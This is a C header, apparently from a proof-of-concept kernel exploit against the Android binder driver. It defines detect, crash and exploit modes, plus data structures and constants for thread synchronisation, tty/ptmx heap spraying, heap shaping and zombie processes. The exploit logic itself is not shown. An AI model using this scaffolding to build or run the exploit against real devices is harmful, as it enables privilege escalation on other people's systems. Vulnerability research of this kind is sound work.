src/exploit.h
#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include "binder_client.h"
#include "light_cond.h"
#include "token_manager.h"
#include <pthread.h>
#include <stdatomic.h>

static const char *poc_client_names[] = {"A", "B", "C"};
static inline const char *name_of(int idx) {
    return poc_client_names[idx];
}

#define NUM_CLIENTS (sizeof(poc_client_names)/sizeof(poc_client_names[0]))

#define NR_PIPE_PROCS 8
#define NR_DUP_PROCS 50
#define NR_ATTEMPTS 12
#define NR_ZOMBIE_DUP_PROCS (NR_DUP_PROCS*NR_ATTEMPTS)
#define NR_DETECT_PTMX 50
#define NR_INITIAL_PTMX 16

enum vuln_mode {
    vuln_mode_detect = 1,
    vuln_mode_crash,
    vuln_mode_exploit,
};

typedef struct {
    enum vuln_mode vuln_mode;
    struct token tokens[NUM_CLIENTS];
    pthread_barrier_t br_init_register;
    pthread_barrier_t br_init_lookup;
    light_cond_t lc_close_b;
    light_cond_t lc_wakeup_c;
    int a_got_br_failed_reply;
    atomic_int sync_var_c_died;
    light_cond_t lc_spray_tty_post, lc_spray_tty_pend;
    light_cond_t lc_timer_proc;
    light_cond_t lc_start_dup;
    light_cond_t lc_finish_shaping;
    light_cond_t lc_shaper_done;
    light_cond_t lc_fd_master_finish;
    light_cond_t lc_start_pipe;
    light_cond_t lc_dup_process_close_post[NR_DUP_PROCS];
    atomic_int sync_var_shapers;
    atomic_int sync_var_pipe_processes;
    pid_t graveyard_pid;
    int graveyard_sock;
    pid_t zombie_dup_procs[NR_ZOMBIE_DUP_PROCS];
    int nr_zombie_dup_procs;
    pthread_barrier_t br_timer_thread;
    int pipe_procs_sockets[NR_PIPE_PROCS];
    pid_t pipe_procs_pids[NR_PIPE_PROCS];
    int vuln_ptmx[NR_DETECT_PTMX];
    light_cond_t lc_c_thread_exit_post, lc_c_thread_exit_pend;
    int binder_proc_inner_lock_offset;
    int nr_vuln_ptmx;
    atomic_int sync_var_vuln_ptmx[NR_DETECT_PTMX];
} exploit_ctx_t;

typedef struct {
    binder_client_t binder;
    exploit_ctx_t *ctx;
    uint32_t handles[NUM_CLIENTS];
    int idx;
    void *private_data;
} poc_client_t;

typedef struct {
    light_cond_t lc_watch;
    uint32_t *strong_handles;
    size_t nr_strong_handles;
}poc_client_private_data_a;

typedef struct {
    pthread_t blocker_threads[NR_DETECT_PTMX];
    int ptmx[NR_DETECT_PTMX];
    u8 *data;
    size_t data_size;
    void *private;
}poc_client_private_data_b;

#define MIN(x,y) ((x) > (y) ? (y) : (x))
#define MAX(x,y) ((x) > (y) ? (x) : (y))

#endif